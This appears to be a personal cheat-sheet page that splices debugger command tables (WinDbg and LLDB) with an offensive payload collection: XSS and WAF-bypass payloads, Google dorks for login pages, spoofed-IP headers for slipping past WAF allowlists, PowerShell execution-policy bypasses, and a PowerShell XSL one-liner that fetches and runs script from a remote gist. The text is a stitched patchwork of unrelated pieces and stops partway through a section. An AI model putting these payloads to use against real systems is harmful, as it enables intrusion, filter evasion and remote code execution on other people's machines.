sharpicx

Breakpoints

 → break <address> : Sets a new breakpoint
→ delete <breakpoint#> : Deletes a breakpoint
→ enable < breakpoint#> : Enable a disabled breakpoint

Variables and memory display

→ print <query> : Prints content of variable or register.
→ display : Prints the information after stepping each instruction

<!-- Source: https://www.openbugbounty.org/blog/ismailtsdln/everything-about-xss-is-in-this-source/ -->

<script\x20type="text/javascript">javascript:alert(1);</script>
<script\x3Etype="text/javascript">javascript:alert(1);</script>
<script\x0Dtype="text/javascript">javascript:alert(1);</script>
<script\x09type="text/javascript">javascript:alert(1);</script>
<script\x0Ctype="text/javascript">javascript:alert(1);</script>
<script\x2Ftype="text/javascript">javascript:alert(1);</script>
<script\x0Atype="text/javascript">javascript:alert(1);</script>

Starting

Command	WinDbg	LLDB
Start	`windbg {executable} [{args}]`	`lldb {executable} [--args]`
Attach	`windbg -p {pid}`	`lldb --attach-pid {pid}`

Symbols and modules

Command	WinDbg	LLDB
(Re)load symbols	`lb {module-name}`	`target symbols add {symbol-file-path}`

	site:*/sign-in
	site:*/account/login
	site:*/forum/ucp.php?mode=login
	inurl:memberlist.php?mode=viewprofile
	intitle:"EdgeOS" intext:"Please login"
	inurl:user_login.php
	intitle:"Web Management Login"
	site:*/users/login_form
	site:*/access/unauthenticated
	site:account../login

	';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
	'';!--"<XSS>=&{()}
	0\"autofocus/onfocus=alert(1)--><video/poster/onerror=prompt(2)>"-confirm(3)-"
	<script/src=data:,alert()>
	<marquee/onstart=alert()>
	<video/poster/onerror=alert()>
	<isindex/autofocus/onfocus=alert()>
	<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>
	<IMG SRC="javascript:alert('XSS');">
	<IMG SRC=javascript:alert('XSS')>

	@vanshitmalhotra \| Bypass AWS WAF -//
	Add "<!" (without quotes) before your payload and bypass that WAF. :)
	eg: <!<script>confirm(1)</script>

	@black0x00mamba \| Bypass WAF Akamaighost & filtered onload, onclick, href, src, onerror, script, etc
	<img sr%00c=x o%00nerror=((pro%00mpt(1)))>

	DotDefender WAF bypass by @0xInfection
	<bleh/ondragstart=&Tab;parent&Tab;['open']&Tab;()%20draggable=True>dragme

	- X-forwarded-for
	- X-remote-IP
	- X-originating-IP
	- x-remote-addr
	waf通常会有一个不拦截任意请求的白名单ip，上面的几个头可以用来伪造ip
	如：
	X-Forwarded-For: 127.0.0.1
	X-Remote-Ip: 127.0.0.1
	X-Originating-Ip: 127.0.0.1
	X-Remote-Addr: 127.0.0.1

	CACHE_INFO: 127.0.0.1
	CF_CONNECTING_IP: 127.0.0.1
	CF-Connecting-IP: 127.0.0.1
	CLIENT_IP: 127.0.0.1
	Client-IP: 127.0.0.1
	COMING_FROM: 127.0.0.1
	CONNECT_VIA_IP: 127.0.0.1
	FORWARD_FOR: 127.0.0.1
	FORWARD-FOR: 127.0.0.1
	FORWARDED_FOR_IP: 127.0.0.1

	https://www.netspi.com/blog/technical/network-penetration-testing/15-ways-to-bypass-the-powershell-execution-policy/

	powershell.exe -ExecutionPolicy Bypass
	PowerShell.exe -ExecutionPolicy Bypass -File .runme.ps1
	PowerShell.exe -ExecutionPolicy UnRestricted -File .runme.ps1
	PowerShell.exe -ExecutionPolicy Remote-signed -File .runme.ps1
	Echo Write-Host "My voice is my passport, verify me." \| PowerShell.exe -noprofile -
	powershell.exe -Enc VwByAGkAdABlAC0ASABvAHMAdAAgACcATQB5ACAAdgBvAGkAYwBlACAAaQBzACAAbQB5ACAAcABhAHMAcwBwAG8AcgB0ACwAIAB2AGUAcgBpAGYAeQAgAG0AZQAuACcA

	Set-ExecutionPolicy Bypass -Scope Process

	##############################################################################
	### Powershell Xml/Xsl Assembly "Fetch & Execute"
	### [https://twitter.com/bohops/status/966172175555284992]

	$s=New-Object System.Xml.Xsl.XsltSettings;$r=New-Object System.Xml.XmlUrlResolver;$s.EnableScript=1;$x=New-Object System.Xml.Xsl.XslCompiledTransform;$x.Load('https://gist.githubusercontent.com/bohops/ee9e2d7bdd606c264a0c6599b0146599/raw/f8245f99992eff00eb5f0d5738dfbf0937daf5e4/xsl-notepad.xsl',$s,$r);$x.Transform('https://gist.githubusercontent.com/bohops/ee9e2d7bdd606c264a0c6599b0146599/raw/f8245f99992eff00eb5f0d5738dfbf0937daf5e4/xsl-notepad.xml','z');del z;

	##############################################################################
	### Powershell VBScript Assembly SCT "Fetch & Execute"
	### [https://twitter.com/bohops/status/965670898379476993]